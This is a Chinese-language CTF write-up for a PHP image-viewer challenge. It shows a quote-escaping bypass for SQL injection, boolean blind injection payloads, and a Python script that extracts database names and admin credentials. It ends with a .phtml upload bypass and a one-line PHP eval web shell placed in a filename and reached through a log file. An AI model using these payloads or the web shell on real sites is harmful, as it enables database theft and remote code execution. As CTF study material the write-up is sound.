只有登录界面,测试了下啥都没有,我扫了下目录
有个robots.txt,给出了.bak备份文件下载
但我下载index.php一直下载不了,看了wp才知道
那个喵喵喵图片是从image.php发出来的,就可以下载他的备份文件…
源码如下
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
可以发现他是通过id或者path这两个变量来与数据库进行交互的
说明可以用这两个变量来进行sql注入
看到过滤函数
addslashes函数会转义单引号,双引号,反斜杠,null。
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
过滤了\0 , %00 , \' , '
要让sql语句闭合
我们可以让id =\0'
这样经过addslashes函数
会变为
\\0\'
经过正则匹配,只会保留反斜杠,将单引号转义
sql语句就会变为
select * from images where id='\' or path='{$path}'
由此构造出sql注入语句
select * from images where id='\' or path=' or 1=1 --+
payload:
id=\0'&path=or 1=1 --+
成功执行
有布尔回显,可以使用布尔盲注
查库
payload:
id=\0'&path=or ascii(substr(database(),1,1))>1 --+
库名为ciscnfinal
查表
paylaod:
id=\0%27&path=or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1 --+
表名为images,users
查列(由于过滤了分号可以使用十六进制字符窜
查usr表里的列名
payload
id=\0%27&path=or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),1,1))>1 --+
列名为username,password
查username
payload
id=\0%27&path=or ascii(substr((select group_concat(username) from users),1,1))>1 --+
username 为:admin
查password
id=\0%27&path=or ascii(substr((select group_concat(password) from users),1,1))>1 --+
密码为f5705ba9b473abe62fe8
最终脚本如下
import requests
url = "http://f8e8efcc-b6b6-4ed9-9be9-0b116b194294.node3.buuoj.cn/image.php"
#查库
payload1="?id=\\0'&path=or ascii(substr(database(),{},1))>{} --+"
#查表
payload2 ="?id=\\0%27&path=or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{} --+"
#查列
payload3 ="?id=\\0%27&path=or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{} --+"
#查用户名
payload4 ="?id=\\0%27&path=or ascii(substr((select group_concat(password) from users),{},1))>{} --+" #查密码将username换为password
database =""
for i in range(1,10000):
low = 32
high = 128
mid =(low + high) // 2
while(low < high):
# payload = payload1.format(i,mid) #查库名
# payload = payload2.format(i,mid) #查表名
# payload = payload3.format(i,mid) #查列名
payload = payload4.format(i,mid) #查用户名
new_url = url + payload
r = requests.get(new_url)
print(new_url)
if "JFIF" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) //2
if (mid == 32 or mid == 132):
break
database +=chr(mid)
print(database)
# print("database=",database) #输出库名
# print("table=",database) #输出表名
# print("column=",database) #输出列名
print("usernmae=",database) #输出用户名
登录后是一段文件上传
经过测试,黑名单绕过 .phtml
但是会被加到日志里面,访问日志文件
输出了上传木马的文件名,由于上传后的文件都会带一个.php的后缀
可以让filename变为一句话木马,再进行访问,但是文件名不允许出现php的内容
由此可以利用短标签
当解析一个文件时,PHP 会寻找起始和结束标记,也就是 * 和 ?>,这告诉 PHP 开始和停止解析二者之间的代码。此种解析方式使得 PHP 可以被嵌入到各种不同的文档中去,而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。
PHP 也允许使用短标记 ,但不鼓励使用。只有通过激活 php.ini 中的 short_open_tag 配置指令或者在编译 PHP 时使用了配置选项 --enable-short-tags 时才能使用短标记。
payload
filename=<?=@eval($_POST['penson']);?>
蚁剑连接即可拿到flag